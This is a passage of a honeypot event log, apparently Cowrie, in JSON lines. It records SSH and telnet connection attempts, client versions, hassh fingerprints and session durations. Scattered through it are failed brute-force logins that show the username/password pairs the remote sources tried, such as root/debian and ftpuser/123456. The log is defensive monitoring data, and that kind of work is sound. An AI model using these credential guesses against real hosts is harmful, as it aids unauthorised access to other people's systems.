sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:34.929714Z","src_ip":"91.92.40.36","session":"4b83f27c7b33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":38706,"dst_ip":"159.203.135.109","dst_port":22,"session":"b65b52a69171","protocol":"ssh","message":"New connection: 102.213.34.99:38706 (159.203.135.109:22) [session: b65b52a69171]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:35.129238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:35.133623Z","src_ip":"102.213.34.99","session":"b65b52a69171","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:35.303194Z","src_ip":"102.213.34.99","session":"b65b52a69171","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":42598,"dst_ip":"159.203.135.109","dst_port":22,"session":"8715fab320e7","protocol":"ssh","message":"New connection: 103.149.28.157:42598 (159.203.135.109:22) [session: 8715fab320e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:35.471677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:35.476240Z","src_ip":"103.149.28.157","session":"8715fab320e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:35.739615Z","src_ip":"103.149.28.157","session":"8715fab320e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abomb","password":"abomb","message":"login attempt [abomb/abomb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:36.015874Z","src_ip":"102.213.34.99","session":"b65b52a69171","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"24111982","message":"login attempt [root/24111982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:36.535727Z","src_ip":"103.149.28.157","session":"8715fab320e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:36.836270Z","src_ip":"91.92.40.36","session":"405562317045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:37.193177Z","src_ip":"102.213.34.99","session":"b65b52a69171","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:37.805366Z","src_ip":"103.149.28.157","session":"8715fab320e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@#","message":"login attempt [root/123qwe!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:41.664066Z","src_ip":"91.92.40.36","session":"4b83f27c7b33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52256,"dst_ip":"10.17.0.5","dst_port":22,"session":"5af3e8e70c7d","protocol":"ssh","message":"New connection: 91.92.40.36:52256 (10.17.0.5:22) [session: 5af3e8e70c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:42.443244Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:43.699840Z","src_ip":"91.92.40.36","session":"5af3e8e70c7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:43.703007Z","src_ip":"91.92.40.36","session":"5af3e8e70c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.8","message":"Connection lost after 10.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:43.951359Z","src_ip":"91.92.40.36","session":"4b83f27c7b33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:46.780555Z","src_ip":"91.92.40.36","session":"5af3e8e70c7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.146.243.24","src_port":44660,"dst_ip":"159.203.135.109","dst_port":22,"session":"3effe5c8e32e","protocol":"ssh","message":"New connection: 129.146.243.24:44660 (159.203.135.109:22) [session: 3effe5c8e32e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:48.493322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:48.499278Z","src_ip":"129.146.243.24","session":"3effe5c8e32e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:48.591556Z","src_ip":"129.146.243.24","session":"3effe5c8e32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:48.647584Z","src_ip":"91.92.40.36","session":"5af3e8e70c7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rep","password":"rep","message":"login attempt [rep/rep] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:49.004550Z","src_ip":"129.146.243.24","session":"3effe5c8e32e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:50.091598Z","src_ip":"129.146.243.24","session":"3effe5c8e32e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":48270,"dst_ip":"10.17.0.5","dst_port":22,"session":"8236ae1f86b3","protocol":"ssh","message":"New connection: 91.92.40.36:48270 (10.17.0.5:22) [session: 8236ae1f86b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:51.631622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:52.359952Z","src_ip":"91.92.40.36","session":"8236ae1f86b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:52.384045Z","src_ip":"91.92.40.36","session":"8236ae1f86b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":53618,"dst_ip":"10.17.0.5","dst_port":22,"session":"77edeaa3b925","protocol":"ssh","message":"New connection: 27.71.230.31:53618 (10.17.0.5:22) [session: 77edeaa3b925]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:52.735073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:52.791924Z","src_ip":"27.71.230.31","session":"77edeaa3b925","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:53.888547Z","src_ip":"27.71.230.31","session":"77edeaa3b925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User5678Admin","message":"login attempt [root/User5678Admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:54.671846Z","src_ip":"27.71.230.31","session":"77edeaa3b925","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:55.893652Z","src_ip":"91.92.40.36","session":"8236ae1f86b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:56.268272Z","src_ip":"27.71.230.31","session":"77edeaa3b925","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:57.344687Z","src_ip":"91.92.40.36","session":"8236ae1f86b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":37258,"dst_ip":"159.203.135.109","dst_port":23,"session":"3194695780bd","protocol":"telnet","message":"New connection: 172.81.62.90:37258 (159.203.135.109:23) [session: 3194695780bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:57.689207Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61566,"dst_ip":"10.17.0.5","dst_port":22,"session":"d888deba99a7","protocol":"ssh","message":"New connection: 91.92.40.36:61566 (10.17.0.5:22) [session: d888deba99a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:58.585115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:59.693333Z","src_ip":"91.92.40.36","session":"d888deba99a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:14:59.696271Z","src_ip":"91.92.40.36","session":"d888deba99a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.123.217.22","src_port":50094,"dst_ip":"10.17.0.5","dst_port":22,"session":"549a440ec9cd","protocol":"ssh","message":"New connection: 45.123.217.22:50094 (10.17.0.5:22) [session: 549a440ec9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:02.877762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:02.882390Z","src_ip":"45.123.217.22","session":"549a440ec9cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:03.116414Z","src_ip":"45.123.217.22","session":"549a440ec9cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Avi358@064","message":"login attempt [admin/Avi358@064] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:04.088726Z","src_ip":"45.123.217.22","session":"549a440ec9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:05.335742Z","src_ip":"45.123.217.22","session":"549a440ec9cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"123","message":"login attempt [cloud/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:05.557205Z","src_ip":"91.92.40.36","session":"d888deba99a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.0","message":"Connection lost after 9.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:15:07.542991Z","src_ip":"91.92.40.36","session":"d888deba99a7","protocol":"ssh"}
